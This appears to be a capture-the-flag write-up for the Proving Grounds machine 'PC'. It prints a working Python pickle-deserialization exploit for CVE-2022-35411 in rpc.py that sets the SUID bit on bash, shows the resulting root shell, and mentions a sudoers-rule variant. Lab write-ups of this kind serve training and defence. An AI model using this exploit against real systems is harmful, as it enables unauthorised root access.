PC Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 2 min read
PC hands out a low-privileged shell directly through a browser-based ttyd terminal. A locally-bound RPC service built with the rpc.py library is vulnerable to CVE-2022-35411, an insecure pickle deserialization that executes as root, giving an immediate privilege escalation.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE 8000/tcp open http
Port 8000 serves a ttyd web terminal that drops straight into a shell as the low-privileged user user, with no further web exploitation needed.
Enumeration
Look around the filesystem for anything unusual.
rpc.py
/opt/rpc.py sets up an RPC server using the rpcpy library.
if __name__ == "__main__":
uvicorn.run(app, interface="asgi3", port=65432)
Supervisor configs confirm both services are managed processes, and a local connection check shows the RPC server is actually running on 127.0.0.1:65432.
rpc.conf ttyd.conf
Privilege Escalation
rpc.py pickle deserialization (CVE-2022-35411)
rpc.py (the rpcpy PyPI package) is an ASGI/WSGI RPC framework. When a client sets the serializer: pickle header, the server unpickles the request body, which is known to be unsafe. CVE-2022-35411 covers this for arbitrary code execution. Build a payload that abuses __reduce__ to call os.system.
import requests
import pickle
HOST = "127.0.0.1:65432"
URL = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}
def generate_payload(cmd):
class PickleRce(object):
def __reduce__(self):
import os
return os.system, (cmd,)
return pickle.dumps(PickleRce())
def exec_command(cmd):
requests.post(url=URL, data=generate_payload(cmd), headers=HEADERS)
if __name__ == "__main__":
exec_command('id;chmod u+s /bin/bash')
Run the exploit locally against the RPC service.
The RPC service runs as root, so the injected command executes with root privileges and sets the SUID bit on bash.
-rwsr-xr-x 1 root root 1.2M Apr 18 2022 /bin/bash
bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
Effective root. The same primitive also works by writing a passwordless sudo rule directly to /etc/sudoers, as an alternative to the SUID approach.
Related
References
-
rpc.py (rpcpy) insecure pickle deserialization leading to remote code execution.